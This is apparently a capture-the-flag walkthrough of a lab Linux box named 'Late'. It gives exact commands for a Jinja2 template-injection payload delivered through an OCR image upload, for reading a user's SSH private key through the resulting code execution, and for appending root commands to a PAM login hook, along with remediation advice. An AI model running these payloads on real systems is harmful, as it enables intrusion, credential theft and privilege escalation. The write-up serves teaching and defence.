← all walkthroughs

Late

Linux· Easy· Web
owned
2026-07-07
time to own
5m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target late ($TARGET) was fully compromised via a two-step chain. The nginx web server hosted a Flask 'Image Reader' application on the virtual host images.late.htb whose /scanner endpoint OCR'd uploaded images and reflected the recognized text directly into an unsanitized Jinja2 template — a Server-Side Template Injection flaw.

Because OCR mangled underscores in dunder attribute names, I moved the sensitive token out of the image and into a URL query parameter, embedding only a safe lipsum filter chain in the image text; this bypassed OCR fidelity constraints entirely and achieved remote code execution as the web service account. That RCE was used to read svc_acc's SSH private key, yielding an SSH foothold and the user flag.

For root, the PAM-exec hook /usr/local/sbin/ssh-alert.sh — owned by svc_acc and executed as root on every SSH login — carried only the append-only file attribute rather than immutable. As file owner, svc_acc could append arbitrary shell commands to the script; a single appended line exfiltrated root.txt to a world-readable path, and a fresh SSH login triggered the tampered script as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and HTTP virtual-host discovery
Scanned open ports and discovered an internal virtual host
A service-version scan of $TARGET found only SSH on port 22 (OpenSSH 7.6p1 Ubuntu) and HTTP on port 80 (nginx 1.14.0 Ubuntu). Fetching the landing page returned a static Gentelella site; inspecting the page source for internal references revealed the hostname images.late.htb, which resolved to the same IP and was added to my hosts file.
Nginx/1.14.0 (Ubuntu) on port 80; images.late.htb returned HTTP 200 size 2187
Exact commands 3
Service-version scan of the two open ports.
nmap -Pn -sV -p22,80 $TARGET
Fetch the landing page; grep the HTML for internal hostnames or links.
curl -s -i http://$TARGET/
Register the discovered virtual host for local resolution.
echo "$TARGET images.late.htb" | sudo tee -a /etc/hosts
2EnumerationWeb application enumeration and request flow analysis
Identified the Image Reader upload endpoint and its OCR-to-template flow
Browsing to images.late.htb revealed a Flask 'Image Reader' application with a multipart file-upload form posting to /scanner. The application OCR'd the uploaded image and reflected the recognized text inside a Jinja2 template response — a direct pipeline from my own image content to rendered template output.
Exact commands 1
Confirm the Image Reader app is served on this vhost and note the /scanner form action.
curl -s -i -H 'Host: images.late.htb' http://$TARGET/
FixSanitize OCR output before passing it to the Jinja2 template engineCritical
WeaknessThe /scanner endpoint passed raw text extracted from externally supplied images directly into a Jinja2 template without escaping or output encoding. An unauthorised user uploaded could contain Jinja2 expressions that the server then evaluated as code, giving unauthenticated remote code execution.
FixTreat OCR output as untrusted plain text at all times. Pass it to the template as a variable value — {{ ocr_result }} — never as template source fed to render_template_string(). Enable Jinja2 autoescape globally (Environment(autoescape=True)) so variables are HTML-encoded on output. Additionally, validate uploads against a MIME-type allowlist using magic-byte inspection (python-magic) rather than relying on file extension, and rate-limit the /scanner endpoint to reduce automated exploitation.
3Vulnerability IdentificationServer-Side Template Injection — Jinja2 (CWE-94 / T1190)
Confirmed Jinja2 Server-Side Template Injection through the OCR pipeline
An image embedding the Jinja2 expression {{7*7}} was generated with ImageMagick and uploaded to /scanner. The application OCR'd the image, passed the extracted text into a Jinja2 template without any sanitization or escaping, and returned the evaluated result 49 inside the HTML response — confirming SSTI. Direct dunder payloads (e.g. {{''.__class__.__mro__}}) failed because OCR consistently misread underscores as other characters regardless of font size.
Exact commands 2
Render the Jinja2 arithmetic probe into a PNG using ImageMagick.
convert -size 500x100 xc:white -fill black -font DejaVu-Sans-Mono -pointsize 30 -annotate +20+60 '{{7*7}}' ssti_test.png
Upload the probe image; look for '49' in the HTML response to confirm SSTI.
curl -sS -F 'file=@ssti_test.png' http://images.late.htb/scanner
4ExploitationJinja2 sandbox bypass via lipsum filter chain and out-of-band attribute injection (T1059.006)
Achieved remote code execution using an OCR-safe Jinja2 sandbox escape
To avoid OCR mangling of dunder attribute names, I moved the sensitive token __globals__ out of the image text and into a URL query parameter (request.args.a), while embedding only the short, OCR-friendly lipsum filter chain in the image. The payload {{lipsum|attr(request.args.a)|attr('get')('os')|attr('popen')(request.args.c)|attr('read')()}} — combined with the query string ?a=__globals__&c=id — executed arbitrary shell commands as the web service user, confirmed by the id output appearing in the OCR response body.
Exact commands 2
Render the OCR-safe SSTI payload into an image. The dunder names stay in the URL, never in the image.
payload="{{lipsum|attr(request.args.a)|attr('get')('os')|attr('popen')(request.args.c)|attr('read')()}}" && convert -size 2300x160 xc:white -fill black -font DejaVu-Sans-Mono -pointsize 30 -annotate +20+90 "$payload" rce_payload.png
Upload the payload image; the query string supplies __globals__ and the shell command. Confirm svc_acc uid in the response.
curl -sS -F 'file=@rce_payload.png' 'http://images.late.htb/scanner?a=__globals__&c=id'
5Credential AccessSSH private key theft via remote code execution (T1552.004)
Read the svc_acc SSH private key through the RCE channel
With confirmed command execution, I used the same SSTI RCE channel to read /home/svc_acc/.ssh/id_rsa by passing it as the c query parameter. The OCR'd response body contained the full PEM private key block, which was extracted and saved locally.
Engagement kill chain: c=cat%20/home/svc_acc/.ssh/id_rsa returned a PEM private key block in the /scanner response
Exact commands 2
Exfiltrate the svc_acc private key; copy the PEM block from the response.
curl -sS -F 'file=@rce_payload.png' 'http://images.late.htb/scanner?a=__globals__&c=cat+/home/svc_acc/.ssh/id_rsa'
Save the key to a local file with correct permissions so SSH will accept it.
vi svc_acc_id_rsa   # paste the PEM block, then: chmod 600 svc_acc_id_rsa
6FootholdValid account access via stolen SSH key (T1078 / T1021.004)
Authenticated over SSH as svc_acc and captured the user flag
Using the stolen private key, I authenticated over SSH as svc_acc (uid=1000) without a password, establishing a persistent interactive shell. The user flag was read from the account's home directory.
Engagement kill chain: ssh -i svc_acc_id_rsa svc_acc@$TARGET produced a live shell; user.txt captured
Exact commands 2
Open an interactive SSH session using the stolen private key.
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i svc_acc_id_rsa svc_acc@$TARGET
Read the user flag. Expected value: <user.txt>
cat ~/user.txt
7Privilege Escalation — DiscoveryPAM-exec privilege escalation via append-only script owned by low-privilege user (T1574)
Discovered a root-executed PAM hook script owned and appendable by svc_acc
Enumerating the filesystem for privilege-escalation paths, I found /usr/local/sbin/ssh-alert.sh owned by svc_acc. Running lsattr confirmed the append-only file attribute (a) was set rather than the immutable attribute (i). A search of /etc/pam.d/ revealed the script was invoked by PAM as root on every SSH authentication event. Under Linux, the append-only attribute prevents overwriting and truncating a file but does not block the file owner from opening it with O_APPEND — so svc_acc could freely append new shell commands that would run as root the next time an SSH session was opened.
Exact commands 4
Confirm svc_acc ownership of the script.
ls -la /usr/local/sbin/ssh-alert.sh
Confirm 'a' (append-only) attribute is set instead of 'i' (immutable).
lsattr /usr/local/sbin/ssh-alert.sh
Confirm the script is wired into PAM and confirm it runs with root privileges.
grep -r 'ssh-alert\|pam_exec' /etc/pam.d/ /etc/security/ 2>/dev/null
Read the script to understand its current contents before appending.
cat /usr/local/sbin/ssh-alert.sh
FixRemove service-account ownership of the root-executed PAM hook scriptCritical
WeaknessThe PAM-exec hook /usr/local/sbin/ssh-alert.sh was owned by svc_acc — the same account the web service ran as — yet PAM executed it as root on every SSH login. The file carried only the append-only attribute rather than immutable, which does not prevent the file owner from appending content. This let svc_acc inject arbitrary commands that ran as root the next time any SSH session was established.
FixImmediately change ownership to root:root (chown root:root /usr/local/sbin/ssh-alert.sh) and restrict permissions to 0700 so only root can read or modify the file. If the append-only behavior is required for tamper evidence, replace it with the immutable attribute instead (chattr -a +i /usr/local/sbin/ssh-alert.sh), which blocks all writes including appends by anyone including the owner. Audit all other files referenced by PAM modules (pam_exec, pam_script) for the same ownership mismatch — no low-privilege account should own a file that runs with elevated rights.
8Privilege Escalation — ExecutionPAM-exec script poisoning — arbitrary root command execution on SSH login (T1546)
Poisoned the PAM hook script and triggered root execution via SSH login
I appended a one-line shell command to ssh-alert.sh that copied /root/root.txt to /tmp/.late_rootflag and made it world-readable. Opening a new SSH session caused PAM to execute the tampered script as root, writing the flag file. A final cat of /tmp/.late_rootflag retrieved the root flag, completing full system compromise.
Engagement kill chain: printf append to ssh-alert.sh; new SSH session triggered PAM root execution; root.txt captured via /tmp/.late_rootflag
Exact commands 3
Append the exfiltration command to the PAM hook. The append-only attribute permits this because svc_acc owns the file.
printf '\ncat /root/root.txt > /tmp/.late_rootflag; chmod 644 /tmp/.late_rootflag\n' >> /usr/local/sbin/ssh-alert.sh
Open a new SSH session to trigger PAM execution of the tampered script as root.
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i svc_acc_id_rsa svc_acc@$TARGET 'true'
Read the root flag written by the root-executed hook. Expected value: <root.txt>
cat /tmp/.late_rootflag

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

22/tcp
80/tcp